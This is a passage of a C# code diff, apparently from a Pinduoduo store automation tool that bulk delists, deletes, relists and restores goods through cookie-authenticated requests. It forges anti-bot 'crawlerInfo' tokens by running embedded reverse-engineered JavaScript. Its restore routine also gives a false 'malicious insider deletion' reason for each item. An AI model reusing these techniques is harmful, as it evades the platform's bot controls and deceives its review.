NoCode, ""); + string codex = UploadPinduoduoSet.ExecuteScript(fun2, PinduoduoAuth.strContent); + + Shop.DelGroupShop.goodsCount = Shop.OnOrOffProduct.Count; + ShopTemp.Add(Shop); + + List ids = new List(); + for (int j = 0; j < Shop.OnOrOffProduct.Count; j++) + { + if (delCount >= UploadPinduoduoMain.DelCount) + break; + if (Shop.OnOrOffProduct[j].Delete == "False") + continue; + isOnline = !Shop.OnOrOffProduct[j].OffLine; + if (isOnline) + { + string urlx = "https://mms.pinduoduo.com/vodka/v2/mms/pc/offSale"; + string refere = "https://mms.pinduoduo.com/"; + string data = "{\"goodsId\":" + Shop.OnOrOffProduct[j].GoodsId + ",\"crawlerInfo\":\"" + codex + "\"}"; + string html = GetPostTaobaoHtml.UploadTaobaoPost(urlx, refere, true, data, Shop.Cookies); + if (html.Contains("\"success\":false")) + { + var api = new PinduoduoApiGetProduct(Shop); + html = api.SetOnline(Shop.OnOrOffProduct[j].GoodsId, false); + } + Shop.OnOrOffProduct[j].Message = !isOnline ? "上架成功" : "下架成功"; + UploadPinduoduoMain.ProductDelTemp.Add(Shop.OnOrOffProduct[j]); + LogSave.Add("自动下架", "在线产品 " + Shop.OnOrOffProduct[j].Titlte + Shop.OnOrOffProduct[j].Message); + Thread.Sleep(5 * 1000); + } + ids.Add(Shop.OnOrOffProduct[j].GoodsId); + delCount++; + Shop.OnOrOffProduct[j].Message = "删除成功"; + Shop.OnOrOffProduct[j].Delete = "False"; + if (ids.Count >= 15) + { + string html = DelGroupIds(ids); + + if (html.Contains("删除量上限")) + { + LogSave.Add(Name, "今日删除商品已达上限:" + Shop.ShopName); + for (int i = 0; i < ids.Count; i++) + { + var p = Shop.OnOrOffProduct.Find(sp => sp.GoodsId == ids[i]); + p.Message = " "; + UploadPinduoduoMain.ProductDelTemp.Add(p); + } + return; + } + for (int i = 0; i < ids.Count; i++) + { + var p = Shop.OnOrOffProduct.Find(sp => sp.GoodsId == ids[i]); + UploadPinduoduoMain.ProductDelTemp.Add(p); + } + ids.Clear(); + Shop.DelGroupShop.delCount = delCount; + ShopTemp.Add(Shop); + + LogSave.Add(Name, "删除成功:" + Shop.OnOrOffProduct[j].GoodsId); + Thread.Sleep(2000); + } + } + if (ids.Count > 0) + { + string html = DelGroupIds(ids); + if (html.Contains("删除量上限")) + { + LogSave.Add(Name, "今日删除商品已达上限:" + Shop.ShopName); + for (int i = 0; i < ids.Count; i++) + { + var p = Shop.OnOrOffProduct.Find(sp => sp.GoodsId == ids[i]); + p.Message = " "; + UploadPinduoduoMain.ProductDelTemp.Add(p); + } + return; + } + for (int i = 0; i < ids.Count; i++) + { + var p = Shop.OnOrOffProduct.Find(sp => sp.GoodsId == ids[i]); + UploadPinduoduoMain.ProductDelTemp.Add(p); + } + Shop.DelGroupShop.delCount = delCount; + ShopTemp.Add(Shop); + + } + Shop.DelGroupShop.goodStatus = "删除完成"; + ShopTemp.Add(Shop); + + LogSave.Add(Name, "删除完成"); + } + + public void GetDelArrangeProduct() + { + if (string.IsNullOrEmpty(PinduoduoAuth.strContent)) + { + PinduoduoAuth.strContent = GetVisitProductNew.strJs;//FileBase.ReadAllText(path); + } + string NoCode = ""; + string strTime = BaseClass.GetTime(DateTime.Now).ToString() + "000"; + if (string.IsNullOrEmpty(NoCode)) + { + string htmlx = GetHtml.Gbk("http://nano.qixiaoke.com/nano.txt"); + NoCode = BaseRegex.GetMatchRegexString(ref htmlx, @"([\w\W]+?)-----"); + } + string fun2 = string.Format(@"getEncode('{0}','{1}','{2}')", strTime, NoCode, ""); + string codex = UploadPinduoduoSet.ExecuteScript(fun2, PinduoduoAuth.strContent); + + List ids = new List(); + + Shop.ArrangeShop.goodsCount = Shop.OnOrOffArrProduct.Count; + ArrangeShopTemp.Add(Shop); + + for (int j = 0; j < Shop.OnOrOffArrProduct.Count; j++) + { + //if (delCount >= UploadPinduoduoMain.DelCount) + // break; + //if (Shop.OnOrOffArrProduct[j].Delete == "False") + // continue; + isOnline = !Shop.OnOrOffArrProduct[j].OffLine; + if (isOnline) + { + string urlx = "https://mms.pinduoduo.com/vodka/v2/mms/pc/offSale"; + string refere = "https://mms.pinduoduo.com/"; + string data = "{\"goodsId\":" + Shop.OnOrOffArrProduct[j].GoodsId + ",\"crawlerInfo\":\"" + codex + "\"}"; + string html = GetPostTaobaoHtml.UploadTaobaoPost(urlx, refere, true, data, Shop.Cookies); + Shop.OnOrOffArrProduct[j].Message = !isOnline ? "上架成功" : "下架成功"; + UploadPinduoduoMain.ProductArrangeTemp.Add(Shop.OnOrOffArrProduct[j]); + LogSave.Add("店铺整理", "在线产品 " + Shop.OnOrOffArrProduct[j].Titlte + Shop.OnOrOffArrProduct[j].Message); + Thread.Sleep(5 * 1000); + } + ids.Add(Shop.OnOrOffArrProduct[j].GoodsId); + delCount++; + Shop.OnOrOffArrProduct[j].Message = "删除成功"; + Shop.OnOrOffArrProduct[j].Delete = "False"; + if (ids.Count >= 15) + { + string html = DelGroupIds(ids); + Shop.ArrangeShop.delCount = delCount; + ArrangeShopTemp.Add(Shop); + + if (html.Contains("删除量上限")) + { + LogSave.Add(Name, "今日删除商品已达上限:" + Shop.ShopName); + for (int i = 0; i < ids.Count; i++) + { + var p = Shop.OnOrOffArrProduct.Find(sp => sp.GoodsId == ids[i]); + p.Message = " "; + UploadPinduoduoMain.ProductArrangeTemp.Add(p); + } + return; + } + for (int i = 0; i < ids.Count; i++) + { + var p = Shop.OnOrOffProduct.Find(sp => sp.GoodsId == ids[i]); + UploadPinduoduoMain.ProductArrangeTemp.Add(p); + } + ids.Clear(); + //DelGroupStatus delstatus = new DelGroupStatus(); + //delstatus.shopName = Shop.ShopName; + //delstatus.count = delCount; + //UploadPinduoduoMain.delGroupStatusList.Add(delstatus); + LogSave.Add(Name, "删除成功:" + Shop.OnOrOffArrProduct[j].GoodsId); + Thread.Sleep(2000); + } + + } + if (ids.Count > 0) + { + string html = DelGroupIds(ids); + Shop.ArrangeShop.delCount = delCount; + ArrangeShopTemp.Add(Shop); + if (html.Contains("删除量上限")) + { + LogSave.Add(Name, "今日删除商品已达上限:" + Shop.ShopName); + for (int i = 0; i < ids.Count; i++) + { + var p = Shop.OnOrOffArrProduct.Find(sp => sp.GoodsId == ids[i]); + p.Message = " "; + UploadPinduoduoMain.ProductArrangeTemp.Add(p); + } + return; + } + for (int i = 0; i < ids.Count; i++) + { + var p = Shop.OnOrOffArrProduct.Find(sp => sp.GoodsId == ids[i]); + UploadPinduoduoMain.ProductArrangeTemp.Add(p); + } + //DelGroupStatus delstatus = new DelGroupStatus(); + //delstatus.shopName = Shop.ShopName; + //delstatus.count = delCount; + //UploadPinduoduoMain.delGroupStatusList.Add(delstatus); + } + Shop.ArrangeShop.goodStatus = "删除完成"; + ArrangeShopTemp.Add(Shop); + LogSave.Add(Name, "删除完成"); + } + public int resCount = 0; + public void GetRestoreProduct() + { + string url = "https://mms.pinduoduo.com/plutus/api/plutus/bin/goods/query"; + string refere = "https://mms.pinduoduo.com/goods/goods_recycle"; + string data = "{\"mall_id\":" + Shop.MallId + ",\"limit\":10,\"offset\":0}"; + string html = GetPostTaobaoHtml.GetJsonPost(url, refere, true, data, Shop.Cookies); + int allCount = BaseRegex.GetIntJson(ref html, "total"); + Shop.ClearNoVisitShop.resCount = allCount; + ClearProductGroup.ShopTemp.Add(Shop); + int page = allCount / 10 + (allCount % 10 > 0 ? 1 : 0); + // 读取商品 + List pList = new List(); + for (int i = 1; i <= page; i++) + { + if (ClearProductGroup.IsGoodCount && resCount >= ClearProductGroup.GoodCount) + break; + if (i != 1) + { + data = "{\"mall_id\":" + Shop.MallId + ",\"limit\":10,\"offset\":" + (i - 1) * 10 + "}"; + html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, Shop.Cookies); + } + if (string.IsNullOrEmpty(html) || !html.Contains("total")) + { + Thread.Sleep(30 * 1000); + html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, Shop.Cookies); + } + var m = BaseRegex.GetMatchRegex(ref html, @"\{([\w\W]+?)\}"); + for (int j = 0; m != null && j < m.Count; j++) + { + if (ClearProductGroup.IsGoodCount && resCount >= ClearProductGroup.GoodCount) + break; + string list = m[j].Groups[0].Value; + long GoodsId = BaseRegex.GetLongJson(ref list, "goods_id"); + long mall_id = BaseRegex.GetLongJson(ref list, "mall_id"); + int status = BaseRegex.GetIntJson(ref list, "status"); + if (status == 1)//已经恢复了 + continue; + + TaobaoProductBase p = new TaobaoProductBase(); + p.GoodsId = GoodsId; + p.ShopName = Shop.ShopName; + string title = BaseRegex.GetStringJson(ref list, "goods_name"); + if (string.IsNullOrEmpty(title)) + continue; + p.Titlte = GetHtml.Decode(title); + p.Message = "恢复商品失败"; + pList.Add(p); + resCount++; + } + Thread.Sleep(2000 + Randomx.GetId(2000)); + LogSave.Add(Name, "读取回收站产品 " + Shop.ShopName + ",分页:" + i); + } + // 还原商品 + int currentResCount = 0; + for (int i = 1; i <= resCount; i++) + { + if (ClearProductGroup.IsGoodCount && currentResCount >= ClearProductGroup.GoodCount) + break; + currentResCount = i; + var p = pList[i - 1]; + var mall_id = Shop.MallId; + var goods_id = p.GoodsId; + string urlx = "https://mms.pinduoduo.com/plutus/api/plutus/bin/goods/recover"; + string referex = "https://mms.pinduoduo.com/goods/goods_recycle"; + string datax = "{\"goods_id\":" + goods_id + ",\"mall_id\":" + mall_id + + ",\"operator\":\"\",\"operator_id\":0,\"recover_type\":\"5\",\"recover_desc\":\"内部人员恶意删除\"}"; + string htmlx = GetPostTaobaoHtml.GetJsonPost(urlx, referex, true, datax, Shop.Cookies); + var api = new PinduoduoApiGetProduct(Shop); + htmlx = api.SetOnline(goods_id, true); + if (htmlx.Contains("{\"is_success\":true")) + p.Message = "恢复商品成功"; + else + LogSave.Add("恢复商品失败" + goods_id + " || " + htmlx); + UploadPinduoduoMain.RestoreProduct.Add(p); + Shop.ClearNoVisitShop.goodStatus = "还原第" + i + "个"; + ClearProductGroup.ShopTemp.Add(Shop); + Thread.Sleep(2500 + Randomx.GetId(1000)); + } + + Shop.ClearNoVisitShop.goodStatus = "还原第" + currentResCount + "个(完成)"; + ClearProductGroup.ShopTemp.Add(Shop); + LogSave.Add(Name, "还原商品完成"); + } + + public int totalCount = 0; + public void GetDownGood() + { + if (string.IsNullOrEmpty(PinduoduoAuth.strContent)) + { + PinduoduoAuth.strContent = GetVisitProductNew.strJs;//FileBase.ReadAllText(path); + } + string NoCode = ""; + string strTime = BaseClass.GetTime(DateTime.Now).ToString() + "000"; + if (string.IsNullOrEmpty(NoCode)) + { + string htmlx = GetHtml.Gbk("http://nano.qixiaoke.com/nano.txt"); + NoCode = BaseRegex.GetMatchRegexString(ref htmlx, @"([\w\W]+?)-----"); + } + string fun2 = string.Format(@"getEncode('{0}','{1}','{2}')", strTime, NoCode, ""); + string codex = UploadPinduoduoSet.ExecuteScript(fun2, PinduoduoAuth.strContent); + List ids = new List(); + for (int j = 0; j < Shop.OnOrOffArrProduct.Count; j++) + { + if (isOnline) + { + if (Shop.OnOrOffArrProduct[j].OffLine) + continue; + } + if (!isOnline) + { + if (!Shop.OnOrOffArrProduct[j].OffLine) + continue; + } + ids.Add(Shop.OnOrOffArrProduct[j].GoodsId); + totalCount++; + if (ids.Count >= 15) + { + if (isOnline) + OffShop(ids); + else + OnShop(ids); + ids.Clear(); + Thread.Sleep(10 * 1000); + } + if (isOnline) + Shop.ArrangeShop.offCount = totalCount; + else + Shop.ArrangeShop.onCount = totalCount; + ArrangeShopTemp.Add(Shop); + //var api = new PinduoduoApiGetProduct(Shop); + ////string urlx = "https://mms.pinduoduo.com/vodka/v2/mms/pc/onSale"; + ////if (isOnline) + //// urlx = "https://mms.pinduoduo.com/vodka/v2/mms/pc/offSale"; + ////string refere = "https://mms.pinduoduo.com/"; + ////string data = "{\"goodsId\":" + Shop.OnOrOffArrProduct[j].GoodsId + ",\"crawlerInfo\":\"" + codex + "\"}"; + ////string html = GetPostTaobaoHtml.UploadTaobaoPost(urlx, refere, true, data, Shop.Cookies); + ////Shop.OnOrOffArrProduct[j].Message = "上架成功"; + ////LogSave.Add(Name, "上架成功:" + Shop.OnOrOffArrProduct[j].GoodsId); + ////if (isOnline) + ////{ + //// Shop.OnOrOffArrProduct[j].Message = "下架成功"; + //// LogSave.Add(Name, "下架成功:" + Shop.OnOrOffArrProduct[j].GoodsId); + ////} + ////UploadPinduoduoMain.ProductArrangeTemp.Add(Shop.OnOrOffArrProduct[j]); + ////Thread.Sleep(5*1000); + } + if (ids.Count > 0) + { + if (isOnline) + OffShop(ids); + else + OnShop(ids); + ids.Clear(); + if (isOnline) + Shop.ArrangeShop.offCount = totalCount; + else + Shop.ArrangeShop.onCount = totalCount; + ArrangeShopTemp.Add(Shop); + } + + } + + public void OnShop(List ids) + { + if (ids.Count == 0) + return; + StringBuilder pids = new StringBuilder(); + for (int i = 0; i < ids.Count; i++) + { + pids.Append("," + ids[i]); + } + string GoodsId = pids.ToString(1, pids.Length - 1); + + string codex = ""; + using (IJsEngine jsEngine = new V8JsEngine()) + { + jsEngine.Execute(GetProductOnlineClass.JsCodeGetSms); + codex = jsEngine.CallFunction("aaa", "").ToString(); + } + string data = "{\"goodsIds\":[" + GoodsId + "],\"crawlerInfo\":\"" + codex + "\"}"; + string urlx = "https://mms.pinduoduo.com/vodka/v2/mms/batchOnSale"; + string refere = "https://mms.pinduoduo.com"; + string html = GetPostTaobaoHtml.UploadTaobaoPost(urlx, refere, true, data, Shop.Cookies); + if (html.Contains("{\"success\":true")) + { + string[] l = GoodsId.Split(','); + foreach (string s in l) + { + var good = Shop.OnOrOffArrProduct.Find(p => p.GoodsId == long.Parse(s)); + good.Message = "上架成功"; + UploadPinduoduoMain.ProductArrangeTemp.Add(good); + LogSave.Add(Name, "上架产品成功:" + s); + } + return; + } + } + public void OffShop(List ids) + { + if (ids.Count == 0) + return; + StringBuilder pids = new StringBuilder(); + for (int i = 0; i < ids.Count; i++) + { + pids.Append("," + ids[i]); + } + string GoodsId = pids.ToString(1, pids.Length - 1); + + string codex = ""; + using (IJsEngine jsEngine = new V8JsEngine()) + { + jsEngine.Execute(GetProductOnlineClass.JsCodeGetSms); + codex = jsEngine.CallFunction("aaa", "").ToString(); + } + + string data = "{\"goodsIds\":[" + GoodsId + "],\"crawlerInfo\":\"" + codex + "\"}"; + string urlx = "https://mms.pinduoduo.com/vodka/v2/mms/batchOffSale"; + string refere = "https://mms.pinduoduo.com"; + string html = GetPostTaobaoHtml.UploadTaobaoPost(urlx, refere, true, data, Shop.Cookies); + if (html.Contains("{\"success\":true")) + { + string[] l = GoodsId.Split(','); + foreach (string s in l) + { + var good = Shop.OnOrOffArrProduct.Find(p => p.GoodsId == long.Parse(s)); + good.Message = "下架成功"; + UploadPinduoduoMain.ProductArrangeTemp.Add(good); + LogSave.Add(Name, "下架产品成功:" + s); + } + return; + } + } + + public void GetNonAdvanceOnline() + { + Shop.OnlineProduct.Clear(); + int mallId = Shop.MallId; + string cookies = Shop.Cookies, shopName = Shop.ShopName; + string url = "https://mms.pinduoduo.com/vodka/v2/mms/query/display/mall/goodsList"; + string refere = "https://mms.pinduoduo.com/Pdd.html"; + string data = "{\"order_by\":\"id:desc\",\"is_pre_sale\":0,\"is_onsale\":" + (isOnline ? 1 : 0) + ",\"size\":100,\"page\":#page#,\"mall_id\":" + mallId + "}"; + string html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data.Replace("#page#", "1"), cookies); + if (string.IsNullOrEmpty(html) || !html.Contains("total")) + { + Thread.Sleep(30 * 1000); + html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data.Replace("#page#", "1"), cookies); + } + if (string.IsNullOrEmpty(html) || !html.Contains("total")) + { + Thread.Sleep(30 * 1000); + html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data.Replace("#page#", "1"), cookies); + } + int allCount = BaseRegex.GetIntJson(ref html, "total"); + + int page = allCount / 100 + (allCount % 100 > 0 ? 1 : 0); + if (page > 1000) + { + page = 1000; + } + + //PinduoduoApiGetProduct currentPDDApiGet = new PinduoduoApiGetProduct(Shop); + + for (int i = 0; i < page; i++) + { + if (i != 0) + { + html = GetPostTaobaoHtml.GetJsonPost(url, refere, true, data.Replace("#page#", (i + 1).ToString()), cookies); + if (string.IsNullOrEmpty(html) || !html.Contains("total")) + { + Thread.Sleep(30 * 1000); + html = GetPostTaobaoHtml.GetJsonPost(url, refere, true, data.Replace("#page#", (i + 1).ToString()), cookies); + } + if (string.IsNullOrEmpty(html) || !html.Contains("total")) + { + Thread.Sleep(30 * 1000); + html = GetPostTaobaoHtml.GetJsonPost(url, refere, true, data.Replace("#page#", (i + 1).ToString()), cookies); + } + } + try + { + var obj = JsonConvert.DeserializeObject(html); + for (int j = 0; obj != null && j < obj.result.goods_list.Count; j++) + { + var goodInfo = obj.result.goods_list[j]; + TaobaoProductBase p = new TaobaoProductBase(); + p.GoodsId = goodInfo.id; + p.GoodsSn = long.Parse(goodInfo.goods_sn); + p.Titlte = goodInfo.goods_name; + p.CatId = goodInfo.cat_id; + p.CatId = PinduoduoCatList.GetNewCat3(p.CatId); + p.SaleCount = goodInfo.sold_quantity; + p.ShopName = Shop.ShopName; + string price = goodInfo.sku_group_price[0].ToString(); + if (string.IsNullOrEmpty(price)) + price = "1000"; + p.Price = int.Parse(price) / 100m; + if (PinduoduoCatList.CatIds.ContainsKey(p.CatId)) + { + var c = PinduoduoCatList.CatIds[p.CatId]; + p.Cat1 = c.cat1; + p.Cat2 = c.cat2; + p.Cat3 = c.cat3; + p.Cat4 = c.cat4; + p.MainCatId = c.main_cat_id; + } + else + { + + } + p.OffLine = !isOnline; + + //string htmlx =currentPDDApiGet.GetProduct(p.GoodsId); + //string isPreSale = BaseRegex.GetStringJson(ref htmlx, "is_pre_sale"); + //Thread.Sleep(1000); + //if (isPreSale == "1") + // continue; + //string urlx = BaseClass.NewUrl+"/goods.html?goods_id=" + p.GoodsId; + //string referex = "https://mms.pinduoduo.com/Pdd.html"; + //string htmlx = GetPostTaobaoHtml.UploadTaobao(urlx, referex, true, cookies); + //string goodsName = BaseRegex.GetStringJson(ref htmlx, "goodsName"); + if (ReplaceModel) + { + if (p.SaleCount > 0 && UploadPinduoduoMain.NoSold) + { + LogSave.Add(Name, "跳过销量商品 " + p.GoodsId); + continue; + } + UploadPinduoduoMain.ProductReplaceTemp.Add(p); + } + + if (!Shop.OnlineProduct.Exists(pt => pt != null && pt.GoodsId == p.GoodsId)) + Shop.OnlineProduct.Add(p); + } + } + catch + { + + var m = BaseRegex.GetMatchRegex(ref html, @"\{([\w\W]+?)\}"); + for (int j = 0; m != null && j < m.Count; j++) + { + string list = m[j].Groups[0].Value; + TaobaoProductBase p = new TaobaoProductBase(); + p.GoodsId = BaseRegex.GetLongJson(ref list, "id"); + p.GoodsSn = BaseRegex.GetLongJson(ref list, "goods_sn"); + p.Titlte = BaseRegex.GetStringJson(ref list, "goods_name"); + p.CatId = BaseRegex.GetIntJson(ref list, "cat_id"); + p.CatId = PinduoduoCatList.GetNewCat3(p.CatId); + p.SaleCount = BaseRegex.GetIntJson(ref list, "sold_quantity"); + p.ShopName = Shop.ShopName; + string price = BaseRegex.GetMatchRegexString(ref list, @"""sku_group_price"":\[([\d]+),"); + if (string.IsNullOrEmpty(price)) + price = "1000"; + p.Price = int.Parse(price) / 100m; + if (PinduoduoCatList.CatIds.ContainsKey(p.CatId)) + { + var c = PinduoduoCatList.CatIds[p.CatId]; + p.Cat1 = c.cat1; + p.Cat2 = c.cat2; + p.Cat3 = c.cat3; + p.Cat4 = c.cat4; + p.MainCatId = c.main_cat_id; + } + else + { + + } + var mc = BaseRegex.GetMatchRegex(ref list, @"""is_onsale"":([\w\W]+?),"); + if (mc == null || mc.Count <= 0) continue; + p.OffLine = !bool.Parse(mc[0].Groups[1].Value); + + //string htmlx = currentPDDApiGet.GetProduct(p.GoodsId); + //string isPreSale = BaseRegex.GetStringJson(ref htmlx, "is_pre_sale"); + //Thread.Sleep(1000); + //if (isPreSale == "1") + // continue; + + if (ReplaceModel) + { + if (p.SaleCount > 0) + { + LogSave.Add(Name, "跳过销量商品 " + p.GoodsId); + continue; + } + UploadPinduoduoMain.ProductReplaceTemp.Add(p); + } + if (!Shop.OnlineProduct.Exists(pt => pt != null && pt.GoodsId == p.GoodsId)) + Shop.OnlineProduct.Add(p); + } + } + Thread.Sleep(300); + LogSave.Add(Name, "获取在线产品 " + shopName + ",分页:" + i); + } + LogSave.Add(Name, "获取完成"); + } + + public void GetAllShopOnline() + { + Shop.OnlineProduct.Clear(); + int mallId = Shop.MallId; + string cookies = Shop.Cookies, shopName = Shop.ShopName; + string url = "https://mms.pinduoduo.com/vodka/v2/mms/query/display/mall/goodsList"; + string refere = "https://mms.pinduoduo.com/Pdd.html"; + string data = "{\"order_by\":\"id:desc\",\"is_pre_sale\":0,\"is_onsale\":" + (isOnline ? 1 : 0) + ",\"size\":100,\"page\":#page#,\"mall_id\":" + mallId + "}"; + string html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data.Replace("#page#", "1"), cookies); + if (string.IsNullOrEmpty(html) || !html.Contains("total")) + { + Thread.Sleep(30 * 1000); + html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data.Replace("#page#", "1"), cookies); + } + if (string.IsNullOrEmpty(html) || !html.Contains("total")) + { + Thread.Sleep(30 * 1000); + html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data.Replace("#page#", "1"), cookies); + } + int allCount = BaseRegex.GetIntJson(ref html, "total"); + + int page = allCount / 100 + (allCount % 100 > 0 ? 1 : 0); + if (page > 1000) + { + page = 1000; + } + for (int i = 0; i < page; i++) + { + if (i != 0) + { + html = GetPostTaobaoHtml.GetJsonPost(url, refere, true, data.Replace("#page#", (i + 1).ToString()), cookies); + if (string.IsNullOrEmpty(html) || !html.Contains("total")) + { + Thread.Sleep(30 * 1000); + html = GetPostTaobaoHtml.GetJsonPost(url, refere, true, data.Replace("#page#", (i + 1).ToString()), cookies); + } + if (string.IsNullOrEmpty(html) || !html.Contains("total")) + { + Thread.Sleep(30 * 1000); + html = GetPostTaobaoHtml.GetJsonPost(url, refere, true, data.Replace("#page#", (i + 1).ToString()), cookies); + } + } + //try + //{ + // var obj = JsonConvert.DeserializeObject(html); + // for (int j = 0; obj != null && j < obj.result.goods_list.Count; j++) + // { + // var goodInfo = obj.result.goods_list[j]; + // TaobaoProductBase p = new TaobaoProductBase(); + // p.GoodsId = goodInfo.id; + // p.GoodsSn = long.Parse(goodInfo.goods_sn); + // p.Titlte = goodInfo.goods_name; + // p.CatId = goodInfo.cat_id; + // p.CatId = PinduoduoCatList.GetNewCat3(p.CatId); + // p.SaleCount = goodInfo.sold_quantity; + // p.ShopName = Shop.ShopName; + // string price = goodInfo.sku_group_price[0].ToString(); + // if (string.IsNullOrEmpty(price)) + // price = "1000"; + // p.Price = int.Parse(price) / 100m; + // if (PinduoduoCatList.CatIds.ContainsKey(p.CatId)) + // { + // var c = PinduoduoCatList.CatIds[p.CatId]; + // p.Cat1 = c.cat1; + // p.Cat2 = c.cat2; + // p.Cat3 = c.cat3; + // p.Cat4 = c.cat4; + // p.MainCatId = c.main_cat_id; + // } + // else + // { + + // } + // p.OffLine = !isOnline; + // UploadPinduoduoMain.ProductReplaceTemp.Add(p); + // if (!Shop.OnlineProduct.Exists(pt => pt != null && pt.GoodsId == p.GoodsId)) + // Shop.OnlineProduct.Add(p); + // } + //} + //catch + //{ + + var m = BaseRegex.GetMatchRegex(ref html, @"\{([\w\W]+?)\}"); + for (int j = 0; m != null && j < m.Count; j++) + { + string list = m[j].Groups[0].Value; + TaobaoProductBase p = new TaobaoProductBase(); + p.GoodsId = BaseRegex.GetLongJson(ref list, "id"); + p.GoodsSn = BaseRegex.GetLongJson(ref list, "goods_sn"); + p.Titlte = BaseRegex.GetStringJson(ref list, "goods_name"); + p.CatId = BaseRegex.GetIntJson(ref list, "cat_id"); + p.CatId = PinduoduoCatList.GetNewCat3(p.CatId); + p.SaleCount = BaseRegex.GetIntJson(ref list, "sold_quantity"); + p.ShopName = Shop.ShopName; + string price = BaseRegex.GetMatchRegexString(ref list, @"""sku_group_price"":\[([\d]+),"); + if (string.IsNullOrEmpty(price)) + price = "1000"; + p.Price = int.Parse(price) / 100m; + + if (!Shop.OnlineProduct.Exists(pt => pt != null && pt.GoodsId == p.GoodsId)) + Shop.OnlineProduct.Add(p); + } + //} + Thread.Sleep(1000); + LogSave.Add(Name, "获取在线产品 " + shopName + ",分页:" + i); + } + LogSave.Add(Name, "获取完成"); + UploadShopControl.endAdvanceTime = endAdvanceTime; + new UploadShopControl(Name, Shop, true).SetAdvanceSale(); + } + + #region 获取codex + public static string JsCodeGetSms = @"if (typeof Array.prototype.map != ""function"") { + Array.prototype.map = function (fn, context) { + var arr = []; + if (typeof fn === ""function"") { + for (var k = 0, length = this.length; k < length; k++) { + arr.push(fn.call(context, this[k], k, this)); + } + } + return arr; + }; +} +T=""init"";N=""data"";E=""forEach""; + var n_0=function(){ +var t={}; +var a = ""function"" == typeof Symbol && ""symbol"" == typeof Symbol.iterator ? function(e) { + return typeof e + } + : function(e) { + return e && ""function"" == typeof Symbol && e.constructor === Symbol && e !== Symbol.prototype ? ""symbol"" : typeof e + } + , r = ""undefined"" != typeof Uint8Array && ""undefined"" != typeof Uint16Array && ""undefined"" != typeof Int32Array; + function i(e, t) { + return Object.prototype.hasOwnProperty.call(e, t) + } + t.assign = function(e) { + for (var t = Array.prototype.slice.call(arguments, 1); t.length; ) { + var n = t.shift(); + if (n) { + if (""object"" !== (void 0 === n ? ""undefined"" : a(n))) + throw new TypeError(n + ""must be non-object""); + for (var r in n) + i(n, r) && (e[r] = n[r]) + } + } + return e + } + , + t.shrinkBuf = function(e, t) { + return e.length === t ? e : e.subarray ? e.subarray(0, t) : (e.length = t, + e) + } + ; + var o = { + arraySet: function(e, t, n, a, r) { + if (t.subarray && e.subarray) + e.set(t.subarray(n, n + a), r); + else + for (var i = 0; i < a; i++) + e[r + i] = t[n + i] + }, + flattenChunks: function(e) { + var t, n, a, r, i, o; + for (a = 0, + t = 0, + n = e.length; t < n; t++) + a += e[t].length; + for (o = new Uint8Array(a), + r = 0, + t = 0, + n = e.length; t < n; t++) + i = e[t], + o.set(i, r), + r += i.length; + return o + } + } + , s = { + arraySet: function(e, t, n, a, r) { + for (var i = 0; i < a; i++) + e[r + i] = t[n + i] + }, + flattenChunks: function(e) { + return [].concat.apply([], e) + } + }; + t.setTyped = function(e) { + e ? (t.Buf8 = Uint8Array, + t.Buf16 = Uint16Array, + t.Buf32 = Int32Array, + t.assign(t, o)) : (t.Buf8 = Array, + t.Buf16 = Array, + t.Buf32 = Array, + t.assign(t, s)) + } + , + t.setTyped(r) +return t +}() +var n_11=function(){ +var a = n_0; + function r(e) { + for (var t = e.length; --t >= 0; ) + e[t] = 0 + } + var i = 0 + , o = 256 + , s = o + 1 + 29 + , c = 30 + , l = 19 + , u = 2 * s + 1 + , d = 15 + , p = 16 + , h = 256 + , f = 16 + , m = 17 + , g = 18 + , v = [0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 2, 2, 2, 2, 3, 3, 3, 3, 4, 4, 4, 4, 5, 5, 5, 5, 0] + , y = [0, 0, 0, 0, 1, 1, 2, 2, 3, 3, 4, 4, 5, 5, 6, 6, 7, 7, 8, 8, 9, 9, 10, 10, 11, 11, 12, 12, 13, 13] + , _ = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 3, 7] + , b = [16, 17, 18, 0, 8, 7, 9, 6, 10, 5, 11, 4, 12, 3, 13, 2, 14, 1, 15] + , w = new Array(2 * (s + 2)); + r(w); + var S = new Array(2 * c); + r(S); + var C = new Array(512); + r(C); + var A = new Array(256); + r(A); + var I = new Array(29); + r(I); + var E, k, T, N = new Array(c); + function D(e, t, n, a, r) { + this.static_tree = e, + this.extra_bits = t, + this.extra_base = n, + this.elems = a, + this.max_length = r, + this.has_stree = e && e.length + } + function x(e, t) { + this.dyn_tree = e, + this.max_code = 0, + this.stat_desc = t + } + function L(e) { + return e < 256 ? C[e] : C[256 + (e >>> 7)] + } + function R(e, t) { + e.pending_buf[e.pending++] = 255 & t, + e.pending_buf[e.pending++] = t >>> 8 & 255 + } + function P(e, t, n) { + e.bi_valid > p - n ? (e.bi_buf |= t << e.bi_valid & 65535, + R(e, e.bi_buf), + e.bi_buf = t >> p - e.bi_valid, + e.bi_valid += n - p) : (e.bi_buf |= t << e.bi_valid & 65535, + e.bi_valid += n) + } + function O(e, t, n) { + P(e, n[2 * t], n[2 * t + 1]) + } + function U(e, t) { + var n = 0; + do { + n |= 1 & e, + e >>>= 1, + n <<= 1 + } while (--t > 0);return n >>> 1 + } + function M(e, t, n) { + var a, r, i = new Array(d + 1), o = 0; + for (a = 1; a <= d; a++) + i[a] = o = o + n[a - 1] << 1; + for (r = 0; r <= t; r++) { + var s = e[2 * r + 1]; + 0 !== s && (e[2 * r] = U(i[s]++, s)) + } + } + function B(e) { + var t; + for (t = 0; t < s; t++) + e.dyn_ltree[2 * t] = 0; + for (t = 0; t < c; t++) + e.dyn_dtree[2 * t] = 0; + for (t = 0; t < l; t++) + e.bl_tree[2 * t] = 0; + e.dyn_ltree[2 * h] = 1, + e.opt_len = e.static_len = 0, + e.last_lit = e.matches = 0 + } + function W(e) { + e.bi_valid > 8 ? R(e, e.bi_buf) : e.bi_valid > 0 && (e.pending_buf[e.pending++] = e.bi_buf), + e.bi_buf = 0, + e.bi_valid = 0 + } + function V(e, 